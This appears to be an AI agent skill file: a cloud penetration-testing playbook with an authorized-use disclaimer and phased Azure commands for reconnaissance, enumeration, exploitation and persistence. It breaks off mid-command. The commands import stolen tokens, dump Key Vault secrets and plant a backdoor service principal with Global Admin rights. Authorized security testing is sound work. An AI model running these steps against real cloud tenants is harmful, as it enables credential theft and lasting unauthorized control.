AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

Cloud Penetration Testing

Purpose

Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.

Prerequisites

Required Tools

# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force

# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# GCP CLI
tmpdir="$(mktemp -d)"
trap 'rm -rf "$tmpdir"' EXIT
curl -fsSLo "$tmpdir/google-cloud-sdk-install.sh" https://sdk.cloud.google.com
cat "$tmpdir/google-cloud-sdk-install.sh"  # review the full installer before executing
bash "$tmpdir/google-cloud-sdk-install.sh"
gcloud init

# Additional tools
pip install scoutsuite pacu

Required Knowledge

• Cloud architecture fundamentals
• Identity and Access Management (IAM)
• API authentication mechanisms
• DevOps and automation concepts

Required Access

• Written authorization for testing
• Test credentials or access tokens
• Defined scope and rules of engagement

Outputs and Deliverables

1. Cloud Security Assessment Report - Comprehensive findings and risk ratings
2. Resource Inventory - Enumerated services, storage, and compute instances
3. Credential Findings - Exposed secrets, keys, and misconfigurations
4. Remediation Recommendations - Hardening guidance per platform

Core Workflow

Phase 1: Reconnaissance

Gather initial information about target cloud presence:

# Azure: Get federation info
curl "https://login.microsoftonline.com/[email protected]&xml=1"

# Azure: Get Tenant ID
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"

# Enumerate cloud resources by company name
python3 cloud_enum.py -k targetcompany

# Check IP against cloud providers
cat ips.txt | python3 ip2provider.py

Phase 2: Azure Authentication

Authenticate to Azure environments:

# Az PowerShell Module
Import-Module Az
Connect-AzAccount

# With credentials (may bypass MFA)
$credential = Get-Credential
Connect-AzAccount -Credential $credential

# Import stolen context
Import-AzContext -Profile 'C:\Temp\StolenToken.json'

# Export context for persistence
Save-AzContext -Path C:\Temp\AzureAccessToken.json

# MSOnline Module
Import-Module MSOnline
Connect-MsolService

Phase 3: Azure Enumeration

Discover Azure resources and permissions:

# List contexts and subscriptions
Get-AzContext -ListAvailable
Get-AzSubscription

# Current user role assignments
Get-AzRoleAssignment

# List resources
Get-AzResource
Get-AzResourceGroup

# Storage accounts
Get-AzStorageAccount

# Web applications
Get-AzWebApp

# SQL Servers and databases
Get-AzSQLServer
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG

# Virtual machines
Get-AzVM
$vm = Get-AzVM -Name "VMName"
$vm.OSProfile

# List all users
Get-MSolUser -All

# List all groups
Get-MSolGroup -All

# Global Admins
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember -GroupObjectId $GUID

# Service Principals
Get-MsolServicePrincipal

Phase 4: Azure Exploitation

Exploit Azure misconfigurations:

# Search user attributes for passwords
$users = Get-MsolUser -All
foreach($user in $users){
    $props = @()
    $user | Get-Member | foreach-object{$props+=$_.Name}
    foreach($prop in $props){
        if($user.$prop -like "*password*"){
            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
        }
    }
}

# Execute commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1

# Extract VM UserData
$vms = Get-AzVM
$vms.UserData

# Dump Key Vault secrets
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>

Phase 5: Azure Persistence

Establish persistence in Azure:

# Create backdoor service principal
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)

# Add service principal to Global Admin
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectI